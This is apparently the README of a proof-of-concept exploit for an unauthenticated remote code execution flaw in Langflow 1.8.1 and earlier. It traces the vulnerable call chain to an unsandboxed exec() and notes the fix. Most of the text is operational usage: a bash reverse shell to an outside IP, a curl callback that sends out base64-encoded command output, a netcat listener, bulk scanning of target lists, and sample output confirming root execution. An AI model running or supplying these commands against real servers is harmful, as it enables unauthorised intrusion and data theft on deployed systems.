
CVE-2026-33017 - An unauthenticated remote code execution in Langflow <= 1.8.1 via Public Flow Build Endpoint
For educational and authorized testing purposes only.
Langflow <= 1.8.1 exposes a public flow build endpoint that accepts attacker-controlled flow data containing arbitrary code. This code is passed to prepare_global_scope() in validate.py, which calls exec() without sandboxing, resulting in unauthenticated remote code execution with server process privileges.
| Package | Affected | Patched |
|---|---|---|
pip langflow | <= 1.8.1 | 1.9.0 |
The build_public_tmp endpoint is intentionally unauthenticated — it is designed to let anyone execute a stored public flow. The flaw is that it also accepts an optional data parameter containing attacker-controlled flow definitions. An unauthenticated user can therefore submit arbitrary node code that the server treats as a legitimate flow graph and passes directly into code execution routines without validation.
The fix is straightforward: remove the data parameter and force the endpoint to call build_graph_from_db() exclusively, so public flows execute stored data only, never attacker-supplied code.
The attacker's payload travels through the following call chain before reaching execution:
| Step | File | Detail |
|---|---|---|
| 1 | chat.py:580 | build_public_tmp receives attacker data in the request body |
| 2 | build.py:81 | start_flow_build() forwards the untrusted payload |
| 3 | build.py:298 | build_graph_from_data() passes it to graph construction |
| 4 | base.py:1168 | Graph.from_payload() deserializes attacker-supplied node definitions |
| 5 | base.py:1323 | instantiate_component() is called for each node |
| 6 | loading.py:43 | The code field is extracted from the custom component parameters |
| 7 | eval.py:9 | create_class() receives the raw attacker code |
| 8 | validate.py:397 | exec(compiled_code, exec_globals) — no sandboxing |
prepare_global_scope() in validate.py processes ast.Assign nodes during graph compilation — before any flow method is invoked. A top-level assignment in the injected code therefore executes immediately:
_r = __import__('os').system("whoami") # runs at compile time, not at flow run time
Output goes to the server's stdout, not the HTTP response. Exfiltration requires an outbound callback (reverse shell, curl webhook).
| Endpoint | Authentication | Attack Vector |
|---|---|---|
POST /api/v1/build_public_tmp/{flow_id}/flow | None | Remote, unauthenticated |
| Scenario | Requirement |
|---|---|
| A — AUTO_LOGIN enabled | AUTO_LOGIN=true: obtain a JWT token anonymously, create a PUBLIC flow, exploit |
| B — Known public flow | A shared/public flow UUID is known: exploit directly, no auth needed |
pip install requests
python3 poc.py --url http://target:7860 --cmd "id"
| Flag | Default | Description |
|---|---|---|
--url | — | Single target Langflow URL |
--url-file | — | Text file with one URL per line (bulk scan) |
--cmd | id | OS command to execute on the target |
--flow-id | — | UUID of an existing public flow (skips flow creation) |
--threads | 5 | Number of parallel threads for bulk mode |
--timeout | 15 | HTTP request timeout in seconds |
--no-cleanup | false | Keep the created flow after exploitation |
Important: The PoC uses
os.system()at module level — the command runs on the server but its output goes to the server's stdout, not back to the HTTP response. The PoC only confirms that execution occurred ([+] VULNERABLE). To actually receive command output, use one of the exfiltration methods below.
Blind confirmation (verifies RCE without capturing output)
python3 poc.py --url http://target:7860 --cmd "id"
Reverse shell — with local listener
# 1. Start a listener on your machine
nc -lvnp 4444
# 2. Send the reverse shell
python3 poc.py --url http://target:7860 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"
OOB exfiltration via HTTP callback — with local server
# 1. Start a local HTTP server
python3 -m http.server 8080
# 2. Exfiltrate output via curl callback
python3 poc.py --url http://target:7860 --cmd "curl http://10.10.14.1:8080/\$(id | base64 -w0)"
With a known public flow UUID (no flow creation needed)
python3 poc.py --url http://target:7860 --cmd "id" --flow-id <flow-uuid>
Bulk scan from file
python3 poc.py --url-file targets.txt --cmd "id" --threads 10
The PoC confirms that execution occurred. [+] VULNERABLE means the build succeeded and the injected code ran — it does not mean output was captured.
============================================================
CVE-2026-33017 — Langflow RCE PoC
============================================================
Targets : 1
Command : curl http://10.10.14.1:8080/$(id | base64 -w0)
Threads : 5 | Timeout : 15s
============================================================
[http://target:7860] auth: JWT token obtained
[http://target:7860] flow: created (3f2a1b4c-...)
[http://target:7860] [+] VULNERABLE — RCE executed
[http://target:7860] flow: deleted (3f2a1b4c-...)
============================================================
SUMMARY
============================================================
[+] http://target:7860 VULNERABLE
============================================================
1/1 target(s) vulnerable
Output received on the local HTTP server:
10.10.14.1 - - "GET /dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk= HTTP/1.1" 200 -
# base64 -d → uid=0(root) gid=0(root) groups=0(root)
exec() issue on /api/v1/validate/code